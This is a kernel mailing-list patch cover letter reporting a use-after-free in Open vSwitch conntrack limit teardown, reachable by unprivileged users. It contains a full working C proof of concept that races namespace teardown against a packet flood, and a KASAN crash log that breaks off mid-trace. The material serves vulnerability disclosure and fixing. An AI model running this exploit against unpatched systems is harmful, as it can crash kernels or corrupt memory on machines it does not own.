openvswitch: Fix CT limit teardown use-after-free
Subsystems (3)
v2 cover openvswitch: Fix CT limit teardown use-after-free
From: Yuqi Xu <[email protected]>
openvswitch: Fix CT limit teardown use-after-free
Changes in v2:
- Sort local declarations modified by this patch in reverse
Christmas-tree order.
- v1 Link: https://lore.kernel.org/all/aa8a1d8dcbac8a13dbdf077a642a66f4c5d81e4b.1784355642.git.xuyuqiabc@gmail.com/
Hi Linux kernel maintainers,
We found an issue in net/openvswitch/conntrack.c.
The bug is reachable by an unprivileged user using private user and network namespaces. The relevant details are provided below.
---- details below ----
Bug details:
Packet processing uses CT limit state under RCU, while netns teardown frees that state under ovs_mutex. The CT limit pointer was neither removed from readers nor protected by a grace period, allowing packet processing to dereference the freed state.
Replace the pointer before freeing the CT limit state. Wait for in-flight RCU readers before freeing its contents. Serialize CT limit netlink operations with teardown for the full lifetime of their state accesses.
Reproducer:
gcc -O2 -g -Wall -Wextra -pthread -o mini_poc mini_poc.c ./mini_poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define MAX_MSG 8192
#define DP_NAME "ovsmini"
#define PORT_NAME "povsmini"
#define PORT_NO 1
#define ZONE 1
#define LIMIT 1
#define WARMUP_MS 5
#define FLOOD_MS 500
#define CT_CLONES 4
#define OVS_DATAPATH_FAMILY "ovs_datapath"
#define OVS_DATAPATH_VERSION 2
#define OVS_VPORT_FAMILY "ovs_vport"
#define OVS_VPORT_VERSION 1
#define OVS_FLOW_FAMILY "ovs_flow"
#define OVS_FLOW_VERSION 1
#define OVS_CT_LIMIT_FAMILY "ovs_ct_limit"
#define OVS_CT_LIMIT_VERSION 1
struct ovs_header {
int dp_ifindex;
};enum {
OVS_DP_CMD_NEW = 1,
OVS_DP_CMD_GET = 3,
};enum {
OVS_DP_ATTR_NAME = 1,
OVS_DP_ATTR_UPCALL_PID = 2,
OVS_DP_ATTR_IFINDEX = 9,
};enum {
OVS_VPORT_CMD_NEW = 1,
};enum {
OVS_VPORT_ATTR_PORT_NO = 1,
OVS_VPORT_ATTR_TYPE = 2,
OVS_VPORT_ATTR_NAME = 3,
OVS_VPORT_ATTR_UPCALL_PID = 5,
};
enum {
OVS_VPORT_TYPE_INTERNAL = 2,
};
enum {
OVS_FLOW_CMD_NEW = 1,
};enum {
OVS_FLOW_ATTR_KEY = 1,
OVS_FLOW_ATTR_ACTIONS = 2,
OVS_FLOW_ATTR_MASK = 7,
};enum {
OVS_KEY_ATTR_IN_PORT = 3,
OVS_KEY_ATTR_ETHERNET = 4,
OVS_KEY_ATTR_ETHERTYPE = 6,
OVS_KEY_ATTR_IPV4 = 7,
OVS_KEY_ATTR_UDP = 10,
};enum {
OVS_CT_ATTR_COMMIT = 1,
OVS_CT_ATTR_ZONE = 2,
};enum {
OVS_ACTION_ATTR_CT = 12,
OVS_ACTION_ATTR_CLONE = 20,
OVS_ACTION_ATTR_DROP = 24,
};enum {
OVS_CT_LIMIT_CMD_SET = 1,
};enum {
OVS_CT_LIMIT_ATTR_ZONE_LIMIT = 1,
};
struct ovs_key_ethernet {
uint8_t eth_src[ETH_ALEN];
uint8_t eth_dst[ETH_ALEN];
};struct ovs_key_ipv4 {
uint32_t ipv4_src;
uint32_t ipv4_dst;
uint8_t ipv4_proto;
uint8_t ipv4_tos;
uint8_t ipv4_ttl;
uint8_t ipv4_frag;
};struct ovs_key_udp {
uint16_t udp_src;
uint16_t udp_dst;
};struct ovs_zone_limit {
int32_t zone_id;
uint32_t limit;
uint32_t count;
};#ifndef NLA_ALIGN
#define NLA_ALIGNTO 4
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif
#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN)) #endif
#define DIE(...) do { fprintf(stderr, __VA_ARGS__); fputc('\n', stderr); \
exit(EXIT_FAILURE); } while (0)static void die_errno(const char *what)
{
DIE("%s: %s", what, strerror(errno));
}static void write_map(const char *path, const char *fmt, unsigned int id)
{
char buf[64];
int fd;
int len;
fd = open(path, O_WRONLY | O_CLOEXEC);
if (fd < 0)
die_errno(path);
len = snprintf(buf, sizeof(buf), fmt, id);
if (write(fd, buf, (size_t)len) != len)
die_errno(path);
close(fd);
}static void enter_user_netns(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
int fd;
if (unshare(CLONE_NEWUSER | CLONE_NEWNET))
die_errno("unshare user/net namespace");
fd = open("/proc/self/setgroups", O_WRONLY | O_CLOEXEC);
if (fd >= 0) {
if (write(fd, "deny", 4) != 4)
die_errno("setgroups");
close(fd);
}
write_map("/proc/self/uid_map", "0 %u 1\n", uid);
write_map("/proc/self/gid_map", "0 %u 1\n", gid);
if (setresgid(0, 0, 0) || setresuid(0, 0, 0))
die_errno("setresuid/setresgid");
}static void addattr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const void *data, size_t len)
{
struct nlattr *nla;
size_t total = NLA_ALIGN(NLA_HDRLEN + len);
if (NLMSG_ALIGN(nlh->nlmsg_len) + total > maxlen)
DIE("netlink message too large");
nla = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
nla->nla_type = type;
nla->nla_len = NLA_HDRLEN + len;
if (len)
memcpy(NLA_DATA(nla), data, len);
if (total > nla->nla_len)
memset((char *)nla + nla->nla_len, 0, total - nla->nla_len);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + total;
}static void add_u16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint16_t value)
{
addattr(nlh, maxlen, type, &value, sizeof(value));
}static void add_u32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint32_t value)
{
addattr(nlh, maxlen, type, &value, sizeof(value));
}static void add_s32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
int32_t value)
{
addattr(nlh, maxlen, type, &value, sizeof(value));
}static struct nlattr *nest_start(struct nlmsghdr *nlh, size_t maxlen,
uint16_t type)
{
struct nlattr *start = (struct nlattr *)((char *)nlh +
NLMSG_ALIGN(nlh->nlmsg_len));
addattr(nlh, maxlen, type, NULL, 0);
return start;
}static void nest_end(struct nlmsghdr *nlh, struct nlattr *start)
{
start->nla_len = (uint16_t)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len) -
(char *)start);
}static int nl_open(int protocol)
{
struct sockaddr_nl addr = {.nl_family = AF_NETLINK};
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, protocol);
if (fd < 0)
die_errno("socket netlink");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)))
die_errno("bind netlink");
return fd;
}static uint32_t next_seq(void)
{
static uint32_t seq = 1;
return __atomic_fetch_add(&seq, 1, __ATOMIC_RELAXED);
}static void nl_send(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl addr = {.nl_family = AF_NETLINK};
struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len};
struct msghdr msg = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
if (sendmsg(fd, &msg, 0) < 0)
die_errno("sendmsg netlink");
}static ssize_t nl_reply(int fd, uint32_t seq, char *buf, size_t len)
{
for (;;) {
struct nlmsghdr *nlh;
ssize_t got = recv(fd, buf, len, 0);
ssize_t rem;
if (got < 0) {
if (errno == EINTR)
continue;
return -1;
}
rem = got;
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, rem);
nlh = NLMSG_NEXT(nlh, rem)) {
if (nlh->nlmsg_seq != seq)
continue;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = NLMSG_DATA(nlh);
if (err->error) {
errno = -err->error;
return -1;
}
return nlh->nlmsg_len;
} else {
return nlh->nlmsg_len;
}
}
}
}static void nl_ack(int fd, uint32_t seq)
{
char buf[MAX_MSG];
if (nl_reply(fd, seq, buf, sizeof(buf)) < 0)
die_errno("netlink request");
}static struct nlattr *find_attr(void *data, size_t len, uint16_t type)
{
struct nlattr *nla;
while (len >= sizeof(*nla)) {
nla = data;
if (nla->nla_len < NLA_HDRLEN || nla->nla_len > len)
break;
if ((nla->nla_type & NLA_TYPE_MASK) == type)
return nla;
len -= NLA_ALIGN(nla->nla_len);
data = (char *)data + NLA_ALIGN(nla->nla_len);
}
return NULL;
}static int family_id(int fd, const char *name)
{
char buf[MAX_MSG] = {};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genl;
struct nlattr *attr;
uint32_t seq = next_seq();
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
genl = NLMSG_DATA(nlh);
genl->cmd = CTRL_CMD_GETFAMILY;
genl->version = 1;
addattr(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
nl_send(fd, nlh);
if (nl_reply(fd, seq, buf, sizeof(buf)) < 0)
die_errno("get generic-netlink family");
attr = find_attr((char *)genl + GENL_HDRLEN,
nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN),
CTRL_ATTR_FAMILY_ID);
if (!attr)
DIE("family %s has no id", name);
return *(uint16_t *)NLA_DATA(attr);
}static void ovs_header(struct nlmsghdr *nlh, size_t maxlen, uint16_t family,
uint8_t cmd, uint8_t version, int dp_ifindex)
{
struct genlmsghdr *genl;
struct ovs_header *ovs;
memset(nlh, 0, maxlen);
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN + sizeof(*ovs));
nlh->nlmsg_type = family;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = next_seq();
genl = NLMSG_DATA(nlh);
genl->cmd = cmd;
genl->version = version;
ovs = (struct ovs_header *)((char *)genl + GENL_HDRLEN);
ovs->dp_ifindex = dp_ifindex;
}static uint32_t request_seq(struct nlmsghdr *nlh)
{
return nlh->nlmsg_seq;
}static void set_up(int fd, const char *ifname)
{
char buf[MAX_MSG] = {};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct ifinfomsg *ifi;
uint32_t seq = next_seq();
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = seq;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_change = IFF_UP;
ifi->ifi_flags = IFF_UP;
addattr(nlh, sizeof(buf), IFLA_IFNAME, ifname, strlen(ifname) + 1);
nl_send(fd, nlh);
nl_ack(fd, seq);
}static void move_to_ns(int fd, const char *ifname, int netns_fd)
{
char buf[MAX_MSG] = {};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct ifinfomsg *ifi;
unsigned int ifindex = if_nametoindex(ifname);
uint32_t seq = next_seq();
if (!ifindex)
die_errno("if_nametoindex");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = seq;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = (int)ifindex;
add_s32(nlh, sizeof(buf), IFLA_NET_NS_FD, netns_fd);
nl_send(fd, nlh);
nl_ack(fd, seq);
}static void create_dp(int fd, int family)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
ovs_header(nlh, sizeof(buf), family, OVS_DP_CMD_NEW,
OVS_DATAPATH_VERSION, 0);
addattr(nlh, sizeof(buf), OVS_DP_ATTR_NAME, DP_NAME,
sizeof(DP_NAME));
add_u32(nlh, sizeof(buf), OVS_DP_ATTR_UPCALL_PID, 0);
nl_send(fd, nlh);
nl_ack(fd, request_seq(nlh));
}static int dp_ifindex(int fd, int family)
{
char buf[MAX_MSG] = {};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genl;
struct ovs_header *ovs;
ovs_header(nlh, sizeof(buf), family, OVS_DP_CMD_GET,
OVS_DATAPATH_VERSION, 0);
nlh->nlmsg_flags = NLM_F_REQUEST;
addattr(nlh, sizeof(buf), OVS_DP_ATTR_NAME, DP_NAME,
sizeof(DP_NAME));
nl_send(fd, nlh);
if (nl_reply(fd, request_seq(nlh), buf, sizeof(buf)) < 0)
die_errno("get datapath");
nlh = (struct nlmsghdr *)buf;
genl = NLMSG_DATA(nlh);
ovs = (struct ovs_header *)((char *)genl + GENL_HDRLEN);
return ovs->dp_ifindex;
}static void create_internal_port(int fd, int family, int dp)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
ovs_header(nlh, sizeof(buf), family, OVS_VPORT_CMD_NEW,
OVS_VPORT_VERSION, dp);
add_u32(nlh, sizeof(buf), OVS_VPORT_ATTR_TYPE,
OVS_VPORT_TYPE_INTERNAL);
addattr(nlh, sizeof(buf), OVS_VPORT_ATTR_NAME, PORT_NAME,
sizeof(PORT_NAME));
add_u32(nlh, sizeof(buf), OVS_VPORT_ATTR_UPCALL_PID, 0);
nl_send(fd, nlh);
nl_ack(fd, request_seq(nlh));
}static void set_limit(int fd, int family)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct ovs_zone_limit limit = {
.zone_id = ZONE,
.limit = LIMIT,
};
ovs_header(nlh, sizeof(buf), family, OVS_CT_LIMIT_CMD_SET,
OVS_CT_LIMIT_VERSION, 0);
addattr(nlh, sizeof(buf), OVS_CT_LIMIT_ATTR_ZONE_LIMIT,
&limit, sizeof(limit));
nl_send(fd, nlh);
nl_ack(fd, request_seq(nlh));
}static void add_flow(int fd, int family, int dp)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct ovs_key_ethernet eth = {};
struct ovs_key_ipv4 ip = {.ipv4_proto = 17};
struct ovs_key_ipv4 ip_mask = {.ipv4_proto = 0xff};
struct ovs_key_udp udp = {};
struct nlattr *key, *mask, *actions, *ct;
ovs_header(nlh, sizeof(buf), family, OVS_FLOW_CMD_NEW,
OVS_FLOW_VERSION, dp);
key = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_KEY);
add_u32(nlh, sizeof(buf), OVS_KEY_ATTR_IN_PORT, PORT_NO);
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERNET, ð, sizeof(eth));
add_u16(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERTYPE, htons(ETH_P_IP));
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_IPV4, &ip, sizeof(ip));
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_UDP, &udp, sizeof(udp));
nest_end(nlh, key);
mask = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_MASK);
add_u32(nlh, sizeof(buf), OVS_KEY_ATTR_IN_PORT, UINT32_MAX);
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERNET, ð, sizeof(eth));
add_u16(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERTYPE, htons(UINT16_MAX));
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_IPV4, &ip_mask, sizeof(ip_mask));
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_UDP, &udp, sizeof(udp));
nest_end(nlh, mask);
int i;
actions = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_ACTIONS);
for (i = 0; i < CT_CLONES; i++) {
struct nlattr *clone = nest_start(nlh, sizeof(buf),
OVS_ACTION_ATTR_CLONE);
ct = nest_start(nlh, sizeof(buf), OVS_ACTION_ATTR_CT);
addattr(nlh, sizeof(buf), OVS_CT_ATTR_COMMIT, NULL, 0);
add_u16(nlh, sizeof(buf), OVS_CT_ATTR_ZONE, ZONE);
nest_end(nlh, ct);
add_u32(nlh, sizeof(buf), OVS_ACTION_ATTR_DROP, 0);
nest_end(nlh, clone);
}
ct = nest_start(nlh, sizeof(buf), OVS_ACTION_ATTR_CT);
addattr(nlh, sizeof(buf), OVS_CT_ATTR_COMMIT, NULL, 0);
add_u16(nlh, sizeof(buf), OVS_CT_ATTR_ZONE, ZONE);
nest_end(nlh, ct);
add_u32(nlh, sizeof(buf), OVS_ACTION_ATTR_DROP, 0);
nest_end(nlh, actions);
nl_send(fd, nlh);
nl_ack(fd, request_seq(nlh));
}static void setup_victim(int anchor_fd, int ready_fd, int go_fd)
{
int genl, rtnl;
int dp_family, vport_family, flow_family, limit_family;
int dp;
char ready = 1;
if (unshare(CLONE_NEWNET))
die_errno("unshare victim netns");
genl = nl_open(NETLINK_GENERIC);
rtnl = nl_open(NETLINK_ROUTE);
dp_family = family_id(genl, OVS_DATAPATH_FAMILY);
vport_family = family_id(genl, OVS_VPORT_FAMILY);
flow_family = family_id(genl, OVS_FLOW_FAMILY);
limit_family = family_id(genl, OVS_CT_LIMIT_FAMILY);
create_dp(genl, dp_family);
dp = dp_ifindex(genl, dp_family);
create_internal_port(genl, vport_family, dp);
set_limit(genl, limit_family);
add_flow(genl, flow_family, dp);
move_to_ns(rtnl, PORT_NAME, anchor_fd);
if (write(ready_fd, &ready, 1) != 1)
die_errno("ready pipe");
if (read(go_fd, &ready, 1) != 1)
_exit(EXIT_FAILURE);
_exit(EXIT_SUCCESS);
}static uint16_t checksum(const void *data, size_t len)
{
const uint16_t *p = data;
uint32_t sum = 0;
while (len > 1) {
sum += *p++;
len -= 2;
}
if (len)
sum += *(const uint8_t *)p;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return (uint16_t)~sum;
}struct flood_ctx {
volatile int *stop;
int id;
};static void *flood_thread(void *arg)
{
struct flood_ctx *ctx = arg;
struct {
uint8_t dst[ETH_ALEN];
uint8_t src[ETH_ALEN];
uint16_t proto;
uint8_t ip[20];
uint8_t udp[8];
uint8_t payload[8];
} __attribute__((packed)) frame = {};
struct sockaddr_ll addr = {
.sll_family = AF_PACKET,
.sll_protocol = htons(ETH_P_ALL),
};
int fd;
unsigned int packet_id = (unsigned int)ctx->id << 24;
memset(frame.dst, 0x11, ETH_ALEN);
memset(frame.src, 0x22, ETH_ALEN);
frame.proto = htons(ETH_P_IP);
frame.ip[0] = 0x45;
frame.ip[8] = 64;
frame.ip[9] = 17;
frame.ip[12] = 10;
frame.ip[15] = 1;
frame.ip[16] = 10;
frame.ip[19] = 2;
frame.ip[2] = 0;
frame.ip[3] = sizeof(frame) - ETH_HLEN;
frame.udp[4] = 0;
frame.udp[5] = 16;
fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL));
if (fd < 0)
return NULL;
addr.sll_ifindex = if_nametoindex(PORT_NAME);
while (!*ctx->stop && addr.sll_ifindex) {
frame.ip[4] = (uint8_t)packet_id;
frame.ip[5] = (uint8_t)(packet_id >> 8);
frame.ip[10] = 0;
frame.ip[11] = 0;
frame.ip[10] = checksum(frame.ip, sizeof(frame.ip)) >> 8;
frame.ip[11] = checksum(frame.ip, sizeof(frame.ip));
frame.udp[0] = (uint8_t)(packet_id >> 8);
frame.udp[1] = (uint8_t)packet_id;
if (sendto(fd, &frame, sizeof(frame), 0,
(struct sockaddr *)&addr, sizeof(addr)) < 0 &&
(errno == ENODEV || errno == ENXIO || errno == ENETDOWN))
break;
packet_id++;
}
close(fd);
return NULL;
}static void flood_and_release(int go_fd)
{
enum { THREADS = 4 };
pthread_t threads[THREADS];
struct flood_ctx ctx[THREADS];
volatile int stop = 0;
char go = 1;
int i;
for (i = 0; i < THREADS; i++) {
ctx[i].stop = &stop;
ctx[i].id = i;
if (pthread_create(&threads[i], NULL, flood_thread, &ctx[i]))
die_errno("pthread_create");
}
usleep(WARMUP_MS * 1000);
if (write(go_fd, &go, 1) != 1)
die_errno("release pipe");
usleep(FLOOD_MS * 1000);
stop = 1;
for (i = 0; i < THREADS; i++)
pthread_join(threads[i], NULL);
}int main(void)
{
int anchor_fd, genl, rtnl;
int ready[2], go[2];
pid_t child;
char byte;
enter_user_netns();
anchor_fd = open("/proc/self/ns/net", O_RDONLY | O_CLOEXEC);
if (anchor_fd < 0)
die_errno("anchor netns");
genl = nl_open(NETLINK_GENERIC);
rtnl = nl_open(NETLINK_ROUTE);
if (pipe(ready) || pipe(go))
die_errno("pipe");
child = fork();
if (child < 0)
die_errno("fork");
if (child == 0) {
close(ready[0]);
close(go[1]);
close(genl);
close(rtnl);
setup_victim(anchor_fd, ready[1], go[0]);
}
close(ready[1]);
close(go[0]);
if (read(ready[0], &byte, 1) != 1)
die_errno("ready");
while (!if_nametoindex(PORT_NAME))
usleep(1000);
set_up(rtnl, PORT_NAME);
flood_and_release(go[1]);
waitpid(child, NULL, 0);
close(go[1]);
close(ready[0]);
close(genl);
close(rtnl);
close(anchor_fd);
return 0;
}------END PoC--------
----BEGIN crash log----
[Wed Mar 18 20:20:25 2026] [ T10321] BUG: KASAN: slab-use-after-free in ovs_ct_execute+0x1f1c/0x2100 [Wed Mar 18 20:20:25 2026] [ T10321] Read of size 4 at addr ffff888035c1f3e0 by task poc/10321
[Wed Mar 18 20:20:25 2026] [ T10321] CPU: 0 UID: 1028 PID: 10321 Comm: poc Not tainted 6.12.74 #3 [Wed Mar 18 20:20:25 2026] [ T10321] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [Wed Mar 18 20:20:25 2026] [ T10321] Call Trace: [Wed Mar 18 20:20:25 2026] [ T10321] <TASK> [Wed Mar 18 20:20:25 2026] [ T10321] dump_stack_lvl+0x10e/0x1f0 [Wed Mar 18 20:20:25 2026] [ T10321] print_report+0xc6/0x620 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __phys_addr+0xcb/0x150 [Wed Mar 18 20:20:25 2026] [ T10321] ? ovs_ct_execute+0x1f1c/0x2100 [Wed Mar 18 20:20:25 2026] [ T10321] kasan_report+0xd8/0x110 [Wed Mar 18 20:20:25 2026] [ T10321] ? ovs_ct_execute+0x1f1c/0x2100 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_ct_execute+0x1f1c/0x2100 [Wed Mar 18 20:20:25 2026] [ T10321] ? __kasan_slab_alloc+0x89/0x90 [Wed Mar 18 20:20:25 2026] [ T10321] ? kmem_cache_alloc_noprof+0x126/0x2f0 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_ovs_ct_execute+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] do_execute_actions+0xaab/0x7d60 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_do_execute_actions+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __asan_memcpy+0x3c/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __asan_memcpy+0x3c/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __skb_clone+0x575/0x760 [Wed Mar 18 20:20:25 2026] [ T10321] ? hlock_class+0x4e/0x130 [Wed Mar 18 20:20:25 2026] [ T10321] clone_execute+0x496/0x6d0 [Wed Mar 18 20:20:25 2026] [ T10321] do_execute_actions+0x1de7/0x7d60 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? lock_acquire.part.0+0x119/0x370 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_do_execute_actions+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_lock_acquire.part.0+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? find_held_lock+0x2d/0x110 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? ovs_dp_process_packet+0x227/0x820 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_lock_release+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_execute_actions+0xf3/0x490 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_dp_process_packet+0x280/0x820 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_ovs_dp_process_packet+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __asan_memset+0x23/0x50 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __ovs_ct_update_key+0x3a9/0xdc0 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_vport_receive+0x21d/0x370 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_ovs_vport_receive+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? trace_lock_acquire+0x145/0x1c0 [Wed Mar 18 20:20:25 2026] [ T10321] ? internal_dev_xmit+0x65/0x320 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? lock_acquire+0x2f/0xb0 [Wed Mar 18 20:20:25 2026] [ T10321] ? internal_dev_xmit+0x65/0x320 [Wed Mar 18 20:20:25 2026] [ T10321] internal_dev_xmit+0xbe/0x320 [Wed Mar 18 20:20:25 2026] [ T10321] __dev_direct_xmit+0x58f/0x730 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx___dev_direct_xmit+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? netdev_pick_tx+0x147/0xc80 [Wed Mar 18 20:20:25 2026] [ T10321] packet_xmit+0x1ee/0x360 [Wed Mar 18 20:20:25 2026] [ T10321] packet_sendmsg+0x2704/0x55c0 [Wed Mar 18 20:20:25 2026] [ T10321] ? find_held_lock+0x2d/0x110 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx___might_resched+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __sanitizer_cov_trace_switch+0x54/0x90 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? aa_sk_perm+0x2e6/0xb80 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_packet_sendmsg+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_aa_sk_perm+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] __sys_sendto+0x47e/0x4d0 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx___sys_sendto+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_lock_release+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? trace_lock_acquire+0x145/0x1c0 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? rcu_is_watching+0x12/0xc0 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? rcu_is_watching+0x12/0xc0 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_sendto+0xe5/0x1c0 [Wed Mar 18 20:20:25 2026] [ T10321] ? do_syscall_64+0x93/0x250 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ 